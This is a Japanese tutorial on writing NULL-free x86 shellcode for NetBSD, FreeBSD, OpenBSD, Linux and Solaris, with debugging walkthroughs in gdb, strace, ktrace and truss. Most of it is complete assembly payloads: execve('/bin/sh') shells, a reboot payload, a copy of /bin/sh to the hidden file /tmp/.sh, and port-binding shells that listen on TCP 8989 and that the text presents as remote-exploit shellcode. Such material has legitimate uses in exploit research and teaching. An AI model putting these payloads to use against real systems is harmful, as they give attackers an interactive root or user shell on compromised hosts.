タップできる目次
はじめに
x86で動作するshellcodeプログラミングについて解説します。対象オペレーティングシステムはNetBSD, FreeBSD, OpenBSD, GNU/Linux, Solarisです。
すべての環境において、コンパイラはGCC(GNU Compiler Collection)を使用します。GCCを使用するため、AT&T System V/386の文法に従って記述します。
MASMやNASMでのコーディングに慣れているのであれば、オペランドが逆になることに注意する必要があります。AT&TとIntelでは、以下のようにオペランドが逆になります。
NULLバイトの問題
バッファオーバーフローのような文字列のオーバーランがバグの原因である場合、shellcodeにNULLバイトを入れる事が出来ない場合がありす。
たとえばstrcpy(3)のような文字列操作関数は文字列の終端がNULLである事を前提にして動作するため、途中にNULLバイトが存在すると全てのshellcodeを送り込む事ができなくなります。
そのため、次のようなコードは問題となります。
movl $0x66, %eax # b8 66 00 00 00
NULLを含まないようにするには、代わりに次のようにします:
movb $0x66, %al # b0 66
文字列をNULLで終わらせる必要がある場合”movb $0x0, %ax”のように記述することは控えた方が良いでしょう。この場合0x0という数値を使用してるので、NULLバイトを生成していまいます。そのため、次のように”xorl %eax, %eax”でレジスタ内の数値を0にしてからデータを移動させます。これならばNULLバイトを生成する事はありません。
jmp foo2 foo1: popl %esi xorl %eax, %eax movb %al, 0xa(%esi) foo2: call foo1 .string "hoge hoge!"
この手法は文字列の先頭アドレスを取得する手法としてもよく用いられます。古典的なexecve()を呼び出すshellcodeはこの手法をとっています。しかし、ここから先はこの手法でなくスタックに文字列を配置する手法をとります。
スタックへ文字列を配置する手法
この手法は文字コードをpushしてスタックに文字列を配置します。たとえば”//bin/sh”を例にすると、これは 0x2f2f62696e2f7368 となりす。”/”を2つ入れているのはサイズ調整のためです。これで丁度8文字(8バイト)となるので4バイトずつに区切る事ができます。これからンプルとして出てくるコードでは次のようにして、スタック上に文字列を作成しています。
pushl $0x68732f6e pushl $0x69622f2f
システムコールの呼び出し
我々がC言語でシステムコールの呼び出しを行なう際にはシステムコールに対応するラッパー関数を呼び出します。これはシステムコールがカーネル空間で実行されるため、カーネルへジャンプする方法がアーキテクチャに依存するというのが理由のひとつにあります。
システムコールを直接呼び出す方法はアーキテクチャとOSに依存します。これから記述するアセンブリコードでは例外を除いて int $0x80命令を実行します。この命令を実行するのは*BSDとLinuxです。Solarisは割り込み命ではなくてlcall命令というコールゲートを使用します。lcall命令にはいくつかの問題があるのですがこれは後述します。共通しているのは%eaxにシステムコール番号を設定するということです。引数に関してはこれも実装依存で、Linuxではレジスタに引数を設定するのに対して*BSDとSolarisはスタックに引数をpushしてシステムコールを呼び出します。
BSD
BSD系は同じコードから派生しているため、基本的には同じshellcodeで動作します。ただし派生後に実装されたシステムコールに関してはシステムコール番号が異なる可能性があるため注意が必要です。
NetBSD – reboot
NetBSDでシステムコールを呼ぶには、引き数をスタックにpushしてから%eaxにシステムコール番号をセットしてint $0x80命令を実行します。システムコール番号は/usr/include/sys/sy-scall.hで定義されています。手始めに簡単な例としてシステムのリブートを実行するshellcodeの作成を行います。上手く行けばシステムはリブートするでしょう。
# system reboot .text .globl main main: xorl %eax, %eax pushl %eax pushl %eax movb $208, %al pushl %eax int $0x80
上記のアセンブリコードをコンパイルして実行するには次のようにします。
# cc x86_nbsd_reboot.s
# ./a.out
syncing disks… 3 done
rebooting…
NetBSD – execve
exploit作成の際、最も使われるshellcodeは”/bin/sh”を呼び出すものです。このサンプルコードはexecve(2)を使って”/bin/sh”を起動させています。
.text .globl main main: xorl %eax, %eax pushl %eax pushl $0x68732f6e pushl $0x69622f2f movl %esp, %ebx pushl %eax pushl %ebx leal (%esp), %ecx pushl %eax pushl %ecx pushl %ebx movb $59, %al pushl %eax int $0x80
NetBSD – Port Binding Shellcode
以下はTCPポート番号8989で待ち受けるアセンブリコードです。*BSDでは通常のシステムコールと同様にソケットシステムコールを使用できます。特定のポートで待ち受けて”/bin/sh”を実行するshelllcodeはremote exploitでよく使われます。
# port binding shellcode for NetBSD(x86) # bind port 8989(TCP) .text .globl main main: xorl %eax, %eax pushl %eax incb %al pushl %eax incb %al pushl %eax movb $0x61, %al pushl %eax int $0x80 movl %eax, %ecx xorl %ebx, %ebx xorl %eax, %eax pushl %eax pushl %eax pushl %eax movw $0x1d23, %ax push %ax movb $0x2, %bl push %bx leal (%esp), %eax movb $0x10, %bl pushl %ebx pushl %eax pushl %ecx xorl %eax, %eax movb $104, %al pushl %eax int $0x80 xorl %ebx, %ebx incb %bl pushl %ebx pushl %ecx movb $106, %al pushl %eax int $0x80 push %eax push %eax push %ecx movb $30, %al push %eax int $0x80 xorl %ecx, %ecx xorl %ebx, %ebx movb $0x3, %cl movb $-0x1, %bl movl %eax, %edx loop_dup2: incb %bl pushl %ebx pushl %edx movb $90, %al pushl %eax int $0x80 subb $0x1, %cl jnz loop_dup2 xorl %eax, %eax pushl %eax pushl $0x68732f6e pushl $0x69622f2f movl %esp, %ebx pushl %eax addw $0x692d, %ax pushl %eax movl %esp, %ecx xorl %eax, %eax pushl %eax pushl %ecx pushl %ebx leal (%esp), %ecx pushl %eax pushl %ecx pushl %ebx movb $59, %al pushl %eax int $0x80
FreeBSD – file copy
FreeBSDでもシステムコールの呼び出し方法はNetBSDと同じように、引数をスタックをpushしてから%eaxにシステムコール番号をセットしてint $0x80命令を実行します。システムコール番号は/usr/include/sys/syscall.hで定義されています。では、/bin/sh を /tmp/.sh にコピーするサンプルを例にしてみます。
.text .globl main main: xorl %eax, %eax pushl %eax pushl $0x70632f6e pushl $0x69622f2f movl %esp, %ebx pushl %eax pushl $0x68732f6e pushl $0x69622f2f movl %esp, %ecx pushl %eax pushl $0x68732e2f pushl $0x706d742f movl %esp, %edx pushl %eax pushl %edx pushl %ecx pushl %ebx leal (%esp), %esi pushl %esi pushl %esi pushl %ebx movb $59, %al pushl %eax int $0x80
GNU/Linux
Linuxはシステムコールの引き数の設定にレジスタを使用します。%eaxにシステムコール番号を設定してint $0x80命令を実行します。引き数は%ebx, %ecx, %edx, %esi, %ediとなります。システムコール番号は/usr/include/asm/unistd.hで定義されています。
Linux – execve
# execve + /bin/sh -i for GNU/Linux(x86) .text .globl main main: xorl %eax, %eax pushl %eax pushw $0x692d movl %esp, %ecx pushl %eax pushl $0x68732f6e pushl $0x69622f2f movl %esp, %ebx pushl %eax pushl %ecx pushl %ebx leal (%esp), %ecx movl %eax, %edx movb $11, %al int $0x80
Linux – Port Binding Shellcode
Linuxでソケットを扱う場合に気をつけなければならないのはsocket(2)などのシステムコールが個別に用意されていない事です。Linuxでは代わりにsocketcallを使用します。システムコール番号は0x66です。socketcallは次のように呼び出します。
/usr/include/linux/net.hで定義されているソケットコール番号は次の通りです。
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */
以下はTCPポート番号8989で待ち受けるアセンブリコードです:
# port binding shellcode for Linux(x86) # bind port 8989(TCP) .text .globl main main: xorl %eax, %eax xorl %ebx, %ebx xorl %ecx, %ecx movb $0x66, %al movb $0x1, %bl movb $0x6, %cl pushl %ecx movb $0x1, %cl push %ecx movb $0x2, %cl push %ecx leal (%esp), %ecx int $0x80 xorl %ebx, %ebx movb $0x2, %bl xorl %ecx, %ecx pushl %ecx pushl %ecx pushl %ecx movw $0x1d23, %cx pushw %cx movw %bx, %cx pushw %cx leal (%esp), %ecx xorl %edx, %edx movb $0x10, %dl pushl %edx pushl %ecx pushl %eax leal (%esp), %ecx xorl %edx, %edx movl %eax, %edx xorl %eax, %eax movb $0x66, %al int $0x80 xorl %ebx, %ebx movb $0x4, %bl xorl %ecx, %ecx movb $0x5, %cl pushl %ecx pushl %edx leal (%esp), %ecx xorl %eax, %eax movb $0x66, %al int $0x80 xorl %ecx, %ecx pushl %ecx pushl %ecx pushl %edx leal (%esp), %ecx xorl %eax, %eax movb $0x66, %al movb $0x5, %bl int $0x80 movl %eax, %ebx xorl %ecx, %ecx movb $0x3, %cl loop_dup2: decb %cl movb $0x3f, %al int $0x80 jnz loop_dup2 xorl %ebx, %ebx xorl %eax, %eax pushl %eax leal (%esp), %edx pushl %ebx pushl $0x68732f6e pushl $0x69622f2f movl %esp,%ebx pushl %eax addw $0x692d, %ax pushl %eax movl %esp, %eax xorl %ecx, %ecx pushl %ecx pushl %eax pushl %ebx leal (%esp),%ecx xorl %eax, %eax movb $0xb, %al int $0x80
Solaris
SolarisもBSDと同様にスタックに引数をpushして%eaxにシステムコール番号をセットします。システムコール番号は/usr/include/sys/syscall.hで確認できます。Solarisが他のOSとひとつ違うのが`int $0x80’命令ではなくて`lcall $0x7, $0x0’という命令を使うということです。この命令の問題点はNULLを含んでしまうということです。以下はlcall命令をobjdumpで出力させたものです。
lcall命令は0x9aなので”lcall $0x0007, $0x00000000″となることがわかります。NULLを含まないshellcodeを作成する必要がある場合これは問題となります。そこで、0の部分を0でない数値で埋めて後から0に書き換えるコードを作成することにします。
以下は”lcall $0xff07, $0xffffffff”を”lcall $0x0007, $0x00000000″に書き換えるアセンブリコードです。
.text .globl main main: jmp fake alt: popl %esi xorl %eax, %eax movb %al, 0x06(%esi) movl %eax, 0x01(%esi) jmp realmain fake: call alt sol_syscall: lcall $0xff07, $0xffffffff ret realmain:
call alt でスタックにlcall命令のアドレスが積まれるので、mov命令で0xffの部分を0x00に上書きしています。これにより、realmain以降は call sol_syscall を実行することによって lcall $0x7, $0x0 を問題なく実行できるようになります。以下はgdbでの検証結果です。
% gdb -q a.out
(no debugging symbols found)…(gdb)
(gdb) b alt
Breakpoint 1 at 0x804845a
(gdb) r
Starting program: /home/foo/a.out
(no debugging symbols found)…(no debugging symbols found)…
Breakpoint 1, 0x804845a in alt ()
(gdb) disas alt
Dump of assembler code for function alt:
0x804845a : pop %esi
0x804845b <alt+1>: xor %eax,%eax
0x804845d <alt+3>: mov %al,0x6(%esi)
0x8048460 <alt+6>: mov %eax,0x1(%esi)
0x8048463 <alt+9>: jmp 0x8048472
End of assembler dump.
(gdb) si
0x804845b in alt ()
(gdb) x/3wx $esi
0x804846a : 0xffffff9a 0xc3ff07ff 0x2f6e6850
(gdb) si ^^^^^^^^ ^^^^^^
0x804845d in alt ()
(gdb)
0x8048460 in alt ()
(gdb) x/3wx $esi
0x804846a : 0xffffff9a 0xc30007ff 0x2f6e6850
(gdb) si ^^^^^^^^ ^^^^^^
0x8048463 in alt ()
(gdb) x/3wx $esi
0x804846a : 0x0000009a 0xc3000700 0x2f6e6850
(gdb) q ^^^^^^^^ ^^^^^^
The program is running. Exit anyway? (y or n) y
%
Solaris – execve
# execve + /bin/sh for Solaris(x86) .text .globl main main: jmp fake alt: popl %esi xorl %eax, %eax movb %al, 0x06(%esi) movl %eax, 0x01(%esi) jmp realmain fake: call alt sol_syscall: lcall $0xff07, $0xffffffff ret realmain: pushl %eax pushl $0x68732f6e pushl $0x69622f2f movl %esp, %ebx pushl %eax pushl %ebx leal (%esp), %ecx pushl %eax pushl %ecx pushl %ebx movb $0x3b, %al call sol_syscall
Solaris – Port Binding Shellcode
Solarisでソケットを扱うことは基本的にBSDと変わりません。いくつかの注意点を上げると、まずsocket(2)の引数であるSOCK_STREAMの値が異なることです。以下はNetBSDとSolarisでgrepを実行した結果です。
NetBSD:
% grep SOCK_ /usr/include/sys/socket.h
#define SOCK_STREAM 1 /* stream socket */
#define SOCK_DGRAM 2 /* datagram socket */
#define SOCK_RAW 3 /* raw-protocol interface */
#define SOCK_RDM 4 /* reliably-delivered message */
#define SOCK_SEQPACKET 5 /* sequenced packet stream */
Solaris8:
% grep SOCK_ /usr/include/sys/socket.h
#define SOCK_STREAM NC_TPI_COTS /* stream socket */
#define SOCK_DGRAM NC_TPI_CLTS /* datagram socket */
#define SOCK_RAW NC_TPI_RAW /* raw-protocol interface */
#define SOCK_STREAM 2 /* stream socket */
#define SOCK_DGRAM 1 /* datagram socket */
#define SOCK_RAW 4 /* raw-protocol interface */
#define SOCK_RDM 5 /* reliably-delivered message */
#define SOCK_SEQPACKET 6 /* sequenced packet stream */
また、システムコールとしてdup2が実装されていないので、fcntl(2)で代用しています。
dup2は以下のCコードと等価です。
F_DUP2FDはsys/fcntl.hで9に定義されいます:
以下はSolarisで動作するPort Binding Shellcodeです。
# port binding shellcode for Solaris(x86) # bind port 8989(TCP) .text .globl main main: jmp fake alt: popl %esi xorl %eax, %eax movb %al, 0x06(%esi) movl %eax, 0x01(%esi) jmp realmain fake: call alt sol_syscall: lcall $0xff07, $0xffffffff ret realmain: xorl %ebx, %ebx pushl %eax incb %bl incb %bl pushl %ebx pushl %ebx movb $230, %al call sol_syscall bind: movl %eax, %ecx xorl %eax, %eax push %eax push %eax push %eax movw $0x1d23, %ax pushw %ax pushw %bx leal (%esp), %eax movb $0x10, %bl pushl %ebx pushl %eax pushl %ecx xorl %eax, %eax movb $232, %al call sol_syscall listen: xorl %ebx, %ebx incb %bl pushl %ebx pushl %ecx movb $233, %al call sol_syscall accept: push %eax push %eax push %ecx movb $234, %al call sol_syscall xorl %ecx, %ecx xorl %ebx, %ebx movb $0x09, %bl movl %eax, %esi ndups: push %ecx push %ebx push %esi movb $62, %al call sol_syscall incb %cl cmpb $0x03, %cl jnz ndups execve: xorl %eax, %eax pushl %eax pushw $0x692d movl %esp, %ebx pushl %eax pushl $0x68732f6e pushl $0x69622f2f movl %esp, %ecx pushl %eax pushl %ebx pushl %ecx leal (%esp), %edx pushl %eax pushl %edx pushl %ecx movb $0x3b, %al call sol_syscall
ちょっとしたテクニック
普段使わないようなシステムコールや、いまひとつ実装方法が分からない場合に知っておくと便利なテクニックがあります。たとえばC言語でプログラムを記述してコンパイルの引き数に’-S’オプションを指定すればアセンブリコードを出力させる事ができます。また、gdb(1)を使って逆アセンブルするという方法もあります。以下のCコードを例にgdbで逆アセンブルする過程を見てみます。使用したOSはNetBSDです。
/* sock.c */ #include <sys/socket.h> int main(void) { socket(PF_INET, SOCK_STREAM, 0); }
アセンブリ言語でsocket(2)を使うにはどのようにすればよいのか分からない場合を想定しています。まず、コンパイルを行います。
% cc -static -o sock sock.c
次にgdbを使用して逆アセンブルを行います。
% gdb ./sock
GNU gdb 5.0nb1
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i386–netbsdelf”…(no debugging symbols found)…
(gdb)
(gdb) disassemble main
Dump of assembler code for function main:
0x8048444 : push %ebp
0x8048445 <main+1>: mov %esp,%ebp
0x8048447 <main+3>: sub $0x8,%esp
0x804844a <main+6>: add $0xfffffffc,%esp
0x804844d <main+9>: push $0x0
0x804844f <main+11>: push $0x1
0x8048451 <main+13>: push $0x2
0x8048453 <main+15>: call 0x80484c8
0x8048458 <main+20>: add $0x10,%esp
0x804845b <main+23>: leave
0x804845c <main+24>: ret
0x804845d <main+25>: lea 0x0(%esi),%esi
End of assembler dump.
(gdb)
socket(2)を呼び出すまでの過程です。引き数をセットするためにスタックへpushしてからsocketを呼び出しているのが分かります。
0x804844d <main+9>: push $0x0 <— (IPPROTO_IP)
0x804844f <main+11>: push $0x1 <— (SOCK_STREAM)
0x8048451 <main+13>: push $0x2 <— (PF_INET)
0x8048453 <main+15>: call 0x80484c8
次にsocket内を見てみます。
(gdb) disassemble socket
Dump of assembler code for function socket:
0x80484c8 : mov $0x61,%eax
0x80484cd <socket+5>: int $0x80
0x80484cf <socket+7>: jb 0x80484c0 <atexit+96>
0x80484d1 <socket+9>: ret
0x80484d2 <socket+10>: mov %esi,%esi
End of assembler dump.
(gdb)
%eaxに0x61をセットしてint $0x80命令を実行しているのが分かります。0x61(97)はシステムコール番号(SYS_socket)です。この他にobjdump(1)を使用する方法もあります。
以下はobjdumpの実行結果の一部を抜粋したものです。
% objdump -d sock
08048444 :
8048444: 55 push %ebp
8048445: 89 e5 mov %esp,%ebp
8048447: 83 ec 08 sub $0x8,%esp
804844a: 83 c4 fc add $0xfffffffc,%esp
804844d: 6a 00 push $0x0
804844f: 6a 01 push $0x1
8048451: 6a 02 push $0x2
8048453: e8 70 00 00 00 call 80484c8
8048458: 83 c4 10 add $0x10,%esp
804845b: c9 leave
804845c: c3 ret
804845d: 8d 76 00 lea 0x0(%esi),%esi
080484c8 :
80484c8: b8 61 00 00 00 mov $0x61,%eax
80484cd: cd 80 int $0x80
80484cf: 72 ef jb 80484c0 <atexit+0x60>
80484d1: c3 ret
80484d2: 89 f6 mov %esi,%esi
デバッグ
通常のプログラミングと同じでデバッグは重要な作業です。最も単純で重要なデバッグは呼び出しているシステムコールが成功しているかどうかの確認です。shellcodeはシステムコールのかたまりなので、システムコールが意図している通りに実行されているのかを確認することは重要な作業です。Linuxではstrace(1)がシステムコールを追跡できて便利です。使い方は簡単で、引き数に実行するプログラムを指定するだけです(詳しくはstrace(1)を参照)。
以下はLinuxのPort Binding Shellcodeをstrace(1)で追跡したときの抜粋です。
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(8989), sin_addr=inet_addr(“0.0.0.0”)}, 16) = 0
listen(3, 5) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve(“//bin/sh”, [“//bin/sh”, “-i”], [/* 0 vars */]) = 0
表示形式は`SYSCALL=RET’となっています。これは、システムコールSYSCALLの戻り値がRETであるという事です。このRETの値が-1であればシステムコールは何らかの理由で失敗しています。また、引き数の確認も行う事が出来るので、自分の意図した引き数(特に文字列)を渡しているのか確かめる事が出来ます。BSDではktrace(1)とkdump(1)を使用してシステムコールの追跡を行う事ができます。
以下はOpenBSDでPort Binding Shell-codeを追跡したときの抜粋です。
4019 a.out CALL socket(0x2,0x1,0)
4019 a.out RET socket 3
4019 a.out CALL bind(0x3,0xdfbfd8be,0x10)
4019 a.out RET bind 0
4019 a.out CALL listen(0x3,0x1)
4019 a.out RET listen 0
4019 a.out CALL accept(0x3,0,0)
4019 a.out RET accept 4
4019 a.out CALL dup2(0x4,0)
4019 a.out RET dup2 0
4019 a.out CALL dup2(0x4,0x1)
4019 a.out RET dup2 1
4019 a.out CALL dup2(0x4,0x2)
4019 a.out RET dup2 2
4019 a.out CALL execve(0xdfbfd862,0xdfbfd84e,0)
4019 a.out NAMI “//bin/sh”
こちらも実行されたシステムコールと戻り値を確認する事ができますが、execve(2)の第2引数であるポインタ配列がどのようになっているのか確認できないのでgdb(1)で確認してみます。デバッグを容易にするために、execveの部分に”myexecve”というラベルを付けてコンパイルしたものを使用しました。
# gdb a.out
GNU gdb 4.16.1
Copyright 1996 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i386-unknown-openbsd3.1″…
(no debugging symbols found)…
(gdb) disas myexecve
Dump of assembler code for function myexecve:
0x17f2 : xor %eax,%eax
0x17f4 <myexecve+2>: push %eax
0x17f5 <myexecve+3>: push $0x68732f6e
0x17fa <myexecve+8>: push $0x69622f2f
0x17ff <myexecve+13>: mov %esp,%ebx
0x1801 <myexecve+15>: push %eax
0x1802 <myexecve+16>: add $0x692d,%ax
0x1806 <myexecve+20>: push %eax
0x1807 <myexecve+21>: mov %esp,%ecx
0x1809 <myexecve+23>: xor %eax,%eax
0x180b <myexecve+25>: push %eax
0x180c <myexecve+26>: push %ecx
0x180d <myexecve+27>: push %ebx
0x180e <myexecve+28>: lea (%esp,1),%ecx
0x1811 <myexecve+31>: push %eax
0x1812 <myexecve+32>: push %ecx
0x1813 <myexecve+33>: push %ebx
0x1814 <myexecve+34>: mov $0x3b,%al
0x1816 <myexecve+36>: push %eax
0x1817 <myexecve+37>: int $0x80
この逆アセンブル結果を見るとメモリアドレス0x180eが目的の場所のようです。ここにブレークポイントを設定してプログラムを走らせます。
(gdb) b *0x180e
Breakpoint 1 at 0x180e
(gdb) r
Starting program: /tmp/a.out
(no debugging symbols found)…(no debugging symbols found)…
…ここでポート8989にtelnetで接続する…
Breakpoint 1, 0x180e in myexecve ()
(gdb)
(gdb) si
0x1811 in myexecve ()
(gdb) p/x *$ecx@3
$1 = {0xdfbfd762, 0xdfbfd75a, 0x0}
(gdb) x/s 0xdfbfd762
0xdfbfd762: “//bin/sh”
(gdb) x/s 0xdfbfd75a
0xdfbfd75a: “-i”
この結果を見ると引き数は正常に渡されているようです。OpenBSDを使用しましたが、他のBSDでも同様にしてデバッグを行なうことができます。最後に、Solarisでシステムコールを追跡するにはtruss(1)を使うことができます。以下はtrussを使用してシステムコールを追跡したときの出力の一部です。
bind(3, 0x08047BD0, 16, 488833026) = 0
listen(3, 1, 3) = 0
accept(3, 0x00000000, 0x00000000, 3) (sleeping…)
accept(3, 0x00000000, 0x00000000, 3) = 4
fcntl(4, F_DUP2FD, 0x00000000) = 0
fcntl(4, F_DUP2FD, 0x00000001) = 1
fcntl(4, F_DUP2FD, 0x00000002) = 2
execve(“//bin/sh”, 0x08047B6E, 0x00000000) argc = 2
trussはstraceに似た出力であり、引数や戻り値を確認できます。又、システムコールが失敗した場合はエラーコードも表示されます。
bind(3, 0x08047BD0, 16, 488833026) Err#125 EADDRINUSE
listen(3, 1, 3) = 0
accept(3, 0x00000000, 0x00000000, 3) (sleeping…)
テスト環境
バージョンによる何らかの相違がある可能性を考慮してテスト環境を以下に示します。
- NetBSD 1.6.2
- OpenBSD 3.1
- FreeBSD 4.9
- RedHat Linux 9
- Solaris 8
参考文献
SunOS 5.8 Programmer’s Manual
SPARCについては次の書籍が大変参考になり楽しく読む事ができます。
古い本ですがx86アセンブラは次の書籍が大変おすすめです。